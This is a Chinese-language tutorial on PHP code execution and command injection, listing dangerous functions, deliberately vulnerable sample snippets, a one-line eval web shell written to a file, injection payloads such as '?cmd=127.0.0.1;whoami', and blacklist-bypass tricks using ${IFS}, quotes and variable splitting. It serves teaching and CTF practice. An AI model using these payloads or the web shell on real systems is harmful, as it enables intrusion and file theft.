代码执行和命令执行

时间:2019-11-18
本文章向大家介绍代码执行和命令执行,主要包括代码执行和命令执行使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

代码执行:可执行脚本语言代码

命令执行:可执行系统(Linux、windows)命令

PHP敏感函数代码执行

eval:会把字符串作为代码来执行 preg_replace:执行一个正则的搜索和替换 assert:检查一个断言是否为false call_user_func:把第一个参数作为回调函数调用 call_user_func_array:调用回调函数,并把第一个数组参数作为回调函数的参数 create_function:增加一个匿名的函数

eval:

<?php @eval($_GET["arg"])?>

eval函数会将提交上来的值作为PHP代码处理,可以提交phpinfo(); 或者生成一句话shell

fputs(fopen('shell.php','w+'),'<?php @eval($_POST[pass])?>');

preg_replace:(5.5版本以上已废弃/e修饰符)

<?php 
preg_replace("//e",$_GET['arg'],"start testing...");
?>

当replacement 参数构成一个合理的php代码字符串的时候,/e 修正符将参数当做php代码执行

create_function:

<?php 
$test=$_GET["test"];
$new_func=create_function('$a,$b', $test);
$new_func(2,M_E);
?>

在php 中使用create_function创建一个匿名函数(lambda-style) 如未对参数进行严格的过滤审查,可以通过提交特殊字符串给create_function执行任意代码.

使用${${ }}简单绕过:

<?php 
$str="echo \"Hello ".$_GET["arg"]."!!\"; ";
eval($str);
?>

代码使用反斜杠将echo后面的内容给转义了 与加addslashes()函数进行过滤是一样的 payload:arg=${${phpinfo()}}

PHP程序执行函数

escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数 escapeshellcmd — shell 元字符转义 exec — 执行一个外部程序 passthru — 执行外部程序并且显示原始输出 proc_close — 关闭由 proc_open 打开的进程并且返回进程退出码 proc_get_status — 获取由 proc_open 函数打开的进程的信息 proc_nice — 修改当前进程的优先级 proc_open — 执行一个命令,并且打开用来输入/输出的文件指针。 proc_terminate — 杀除由 proc_open 打开的进程 shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。 system — 执行外部程序,并且显示输出

最简单的例子:

<?php $test = $_GET['cmd']; system($test); ?>

payload:?cmd=whoami 这样即可执行系统命令

举一个类似DVWA里边的例子:

<?php
$test = $_GET['cmd'];
system("ping -c 3 " . $test);
?>

payload:?cmd=127.0.0.1;whoami

命令分隔符: 在Linux上,上面的;也可以用|、||代替 ;前面的执行完执行后面的 |是管道符,显示后面的执行结果 ||当前面的执行出错时执行后面的

在Windows上,不能用;可以用&、&&、|、||代替 &前面的语句为假则直接执行后面的 &&前面的语句为假则直接出错,后面的也不执行 |直接执行后面的语句 ||前面出错执行后面的

PHP 支持一个执行运算符:反引号(``) PHP 将尝试将反引号中的内容作为 shell 命令来执行,并将其输出信息返回

 <?php echo `whoami`;?>

效果与函数 shell_exec() 相同,都是以字符串的形式返回一个命令的执行结果,可以保存到变量中

命令执行绕过技巧

黑名单绕过

<?php
$test = $_GET['cmd'];
$test = str_replace("cat", "", $test);
$test = str_replace("ls", "", $test);
$test = str_replace(" ", "", $test);
$test = str_replace("pwd", "", $test);
$test = str_replace("wget", "", $test);
var_dump($test);
system("ls -al '$test'");
?>

执行ls命令: a=l;b=s;$a$b payload:?cmd=./%27;a=l;b=s;$a$b;%27

cat 1.php文件内容: a=c;b=at;c=1.php;$a$b ${c} payload:?cmd=./%27;a=c;b=at;c=1.php;$a$b${IFS}$c;%27

单引号、双引号 c""at flag c""at fl""ag c""at fl''ag payload:?cmd=./%27;c''at${IFS}fl""ag;%27

反斜线 c\at fl\ag ?cmd=./%27;c\at${IFS}fl\ag;%27

绕过空格 ${IFS}、$IFS、$IFS$9 或者在读取文件的时候利用重定向符 < ?cmd=./';a=c;b=at;c=1.php;$a$b<$c;'

安全客的一篇命令绕过 https://www.anquanke.com/post/id/84920

相关的漏洞

bash破壳

strcut java

原文地址:https://www.cnblogs.com/wintrysec/p/11882409.html